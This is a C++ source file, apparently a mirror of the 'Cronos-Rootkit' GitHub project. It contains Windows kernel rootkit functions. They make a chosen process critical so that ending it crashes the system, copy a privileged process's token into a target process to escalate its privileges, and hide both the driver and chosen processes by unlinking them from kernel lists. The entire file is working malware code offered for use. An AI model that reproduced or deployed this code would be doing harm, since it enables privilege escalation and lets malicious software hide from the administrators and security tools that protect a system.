mirror of
https://github.com/XaFF-XaFF/Cronos-Rootkit
synced 2026-08-09 12:23:30 +00:00
229 lines
5.7 KiB
C++
229 lines
5.7 KiB
C++
////
|
|
// FUNCTIONS USED TO ELEVATE AND PROTECTS PROCESSES
|
|
////
|
|
#include "Rootkit.hpp"
|
|
|
|
NTSTATUS Rootkit::ProtectProcess(DWORD PID)
|
|
{
|
|
NTSTATUS status = STATUS_SUCCESS;
|
|
|
|
CLIENT_ID clientId;
|
|
HANDLE handle, hToken;
|
|
|
|
TOKEN_PRIVILEGES tkp = { 0 };
|
|
OBJECT_ATTRIBUTES objAttr;
|
|
ULONG BreakOnTermination = 1;
|
|
|
|
clientId.UniqueThread = NULL;
|
|
clientId.UniqueProcess = ULongToHandle(PID);
|
|
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
|
|
|
|
status = ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &objAttr, &clientId);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Failed to open process: %d\n", status));
|
|
#endif
|
|
return status;
|
|
}
|
|
|
|
status = ZwOpenProcessTokenEx(handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, OBJ_KERNEL_HANDLE, &hToken);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Failed to open token\n"));
|
|
#endif
|
|
ZwClose(hToken);
|
|
return status;
|
|
}
|
|
|
|
tkp.PrivilegeCount = 1;
|
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_DEBUG_PRIVILEGE);
|
|
|
|
status = ZwAdjustPrivilegesToken(hToken, FALSE, &tkp, 0, NULL, NULL);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Failed to adjust token\n"));
|
|
#endif
|
|
|
|
ZwClose(hToken);
|
|
return status;
|
|
}
|
|
|
|
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Failed to set information process\n"));
|
|
#endif
|
|
|
|
ZwClose(hToken);
|
|
return status;
|
|
}
|
|
#if DEBUG
|
|
KdPrint(("[*] Process successfully set as critical!\n"));
|
|
#endif
|
|
|
|
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_TCB_PRIVILEGE);
|
|
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Failed to set information process: nr 2\n"));
|
|
#endif
|
|
ZwClose(hToken);
|
|
return status;
|
|
}
|
|
|
|
#if DEBUG
|
|
KdPrint(("[!] The process has become part of the system!\n"));
|
|
KdPrint(("[!] You won't be able to close the process until next reboot. Closing the process will result in a blue screen\n"));
|
|
#endif
|
|
|
|
ZwClose(hToken);
|
|
return status;
|
|
}
|
|
|
|
NTSTATUS Rootkit::ProcessElevation(ULONG srcPid, ULONG targetPid)
|
|
{
|
|
NTSTATUS status = STATUS_SUCCESS;
|
|
PEPROCESS pTargetProcess, pSrcProcess;
|
|
|
|
//Getting target process
|
|
status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Target PID PsLookup failed\n"));
|
|
#endif
|
|
return status;
|
|
}
|
|
#if DEBUG
|
|
KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess));
|
|
#endif
|
|
|
|
//Getting source process
|
|
status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[-] Source PID PsLookup failed\n"));
|
|
#endif
|
|
return status;
|
|
}
|
|
|
|
#if DEBUG
|
|
KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess));
|
|
KdPrint(("[+] Setting source token to the target token\n"));
|
|
#endif
|
|
|
|
*(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
|
|
|
|
#if DEBUG
|
|
KdPrint(("[*] Source token copied to the target!\n"));
|
|
#endif
|
|
|
|
return status;
|
|
}
|
|
|
|
VOID Ghost::GhostDriver(PDRIVER_OBJECT DriverObject)
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[+] Hiding driver\n"));
|
|
#endif
|
|
|
|
KIRQL irql = KeRaiseIrqlToDpcLevel();
|
|
PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, modEntry;
|
|
modEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
|
|
|
|
prevEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Blink;
|
|
nextEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Flink;
|
|
|
|
prevEntry->InLoadOrderLinks.Flink = modEntry->InLoadOrderLinks.Flink;
|
|
nextEntry->InLoadOrderLinks.Blink = modEntry->InLoadOrderLinks.Blink;
|
|
|
|
modEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)modEntry;
|
|
modEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)modEntry;
|
|
KeLowerIrql(irql);
|
|
|
|
#if DEBUG
|
|
KdPrint(("[!] Driver hidden!\n"));
|
|
#endif
|
|
}
|
|
|
|
////
|
|
// BSOD AVOID USED FROM UNKNOWNCHEATS
|
|
////
|
|
VOID RemoveTheLinks(PLIST_ENTRY Current)
|
|
{
|
|
PLIST_ENTRY Previous, Next;
|
|
|
|
Previous = (Current->Blink);
|
|
Next = (Current->Flink);
|
|
|
|
Previous->Flink = Next;
|
|
Next->Blink = Previous;
|
|
|
|
// Re-write the current LIST_ENTRY to point to itself (avoiding BSOD)
|
|
Current->Blink = (PLIST_ENTRY)&Current->Flink;
|
|
Current->Flink = (PLIST_ENTRY)&Current->Flink;
|
|
return;
|
|
}
|
|
|
|
PCHAR Ghost::GhostProcess(UINT32 pid)
|
|
{
|
|
#if DEBUG
|
|
KdPrint(("[+] Ghosting process\n"));
|
|
#endif
|
|
|
|
LPSTR result = (LPSTR)ExAllocatePool(NonPagedPool, sizeof(ULONG) + 20);;
|
|
|
|
ULONG PID_OFFSET = ACTIVE_PROCESS_LINKS;
|
|
|
|
#if DEBUG
|
|
KdPrint(("[+] PID offset: %p\n", PID_OFFSET));
|
|
#endif
|
|
|
|
ULONG LIST_OFFSET = PID_OFFSET;
|
|
|
|
//Checking architecture using pointer size
|
|
INT_PTR ptr;
|
|
|
|
// Ptr size 8 if compiled for a 64-bit machine, 4 if compiled for 32-bit machine
|
|
LIST_OFFSET += sizeof(ptr);
|
|
|
|
PEPROCESS CurrentEPROCESS = PsGetCurrentProcess();
|
|
|
|
PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
|
|
PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
|
|
|
|
if (*(UINT32*)CurrentPID == pid) {
|
|
RemoveTheLinks(CurrentList);
|
|
return (PCHAR)result;
|
|
}
|
|
|
|
PEPROCESS StartProcess = CurrentEPROCESS;
|
|
|
|
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
|
|
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
|
|
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
|
|
|
|
while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS)
|
|
{
|
|
if (*(UINT32*)CurrentPID == pid) {
|
|
RemoveTheLinks(CurrentList);
|
|
return (PCHAR)result;
|
|
}
|
|
|
|
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
|
|
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
|
|
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
|
|
}
|
|
|
|
#if DEBUG
|
|
KdPrint(("[!] Process %d ghosted!\n", pid));
|
|
#endif
|
|
return (PCHAR)result;
|
|
} |